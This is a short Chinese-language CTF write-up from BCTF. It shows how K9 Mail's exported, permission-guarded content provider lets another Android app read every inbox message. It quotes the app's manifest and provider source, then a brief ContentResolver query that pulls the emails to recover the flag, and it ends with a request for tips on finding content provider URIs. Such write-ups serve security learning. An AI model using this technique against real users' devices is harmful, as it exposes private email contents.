引用至BCTF的题目 http://bctf.cn/problems/16
这题感觉更像是漏洞挖掘然后EXP,觉得题目挺有意思的,拿来和大家分享,比赛平台再次开放大家可以去玩玩<provider android:name=".provider.AttachmentProvider" android:authorities="com.fsck.k9.attachmentprovider" android:multiprocess="true" android:grantUriPermissions="true" android:readPermission="com.fsck.k9.permission.READ_ATTACHMENT" android:exported="true" /> <provider android:name=".provider.MessageProvider" android:authorities="com.fsck.k9.messageprovider" android:multiprocess="true" android:grantUriPermissions="true" android:readPermission="com.fsck.k9.permission.READ_MESSAGES" android:writePermission="com.fsck.k9.permission.DELETE_MESSAGES" android:exported="true" />
public static interface MessageColumns extends BaseColumns { /** * The number of milliseconds since Jan. 1, 1970, midnight GMT. * * <P>Type: INTEGER (long)</P> */ String SEND_DATE = "date"; /** * <P>Type: TEXT</P> */ String SENDER = "sender"; /** * <P>Type: TEXT</P> */ String SENDER_ADDRESS = "senderAddress"; /** * <P>Type: TEXT</P> */ String SUBJECT = "subject"; /** * <P>Type: TEXT</P> */ String PREVIEW = "preview"; /** * <P>Type: BOOLEAN</P> */ String UNREAD = "unread"; /** * <P>Type: TEXT</P> */ String ACCOUNT = "account"; /** * <P>Type: INTEGER</P> */ String ACCOUNT_NUMBER = "accountNumber"; /** * <P>Type: BOOLEAN</P> */ String HAS_ATTACHMENTS = "hasAttachments"; /** * <P>Type: BOOLEAN</P> */ String HAS_STAR = "hasStar"; /** * <P>Type: INTEGER</P> */ String ACCOUNT_COLOR = "accountColor"; String URI = "uri"; String DELETE_URI = "delUri"; /** * @deprecated the field value is misnamed/misleading - present for compatibility purpose only. To be removed. */ @Deprecated String INCREMENT = "id"; }
/** * Retrieve messages from the integrated inbox. */ protected class MessagesQueryHandler implements QueryHandler { @Override public String getPath() { return "inbox_messages/"; } @Override public Cursor query(final Uri uri, final String[] projection, final String selection, final String[] selectionArgs, final String sortOrder) throws Exception { return getMessages(projection); }
<uses-permission android:name="com.fsck.k9.permission.READ_MESSAGES"></uses-permission>
ContentResolver cr = getContentResolver(); Uri uri = Uri.parse("content://com.fsck.k9.messageprovider/inbox_messages/"); Cursor c = cr.query(uri, null, null, null, null); if (c.moveToFirst()) { for (int i = 0; i < c.getCount(); i++) { c.moveToPosition(i); String col1 = c.getString(1); String col2 = c.getString(2); …… Log.i("TEST",……); } }else{ …… }
这时候传回来的数据就是答题平台上那个手机k9mail的所有邮件信息了,里面就有答案,这算是我第一次做android漏洞挖掘利用
大家有对如何挖掘contentprovider uri有经验的希望指导指导,我之前试了几个都是无法解析,有想法的麻烦大神留个评论指导一下呗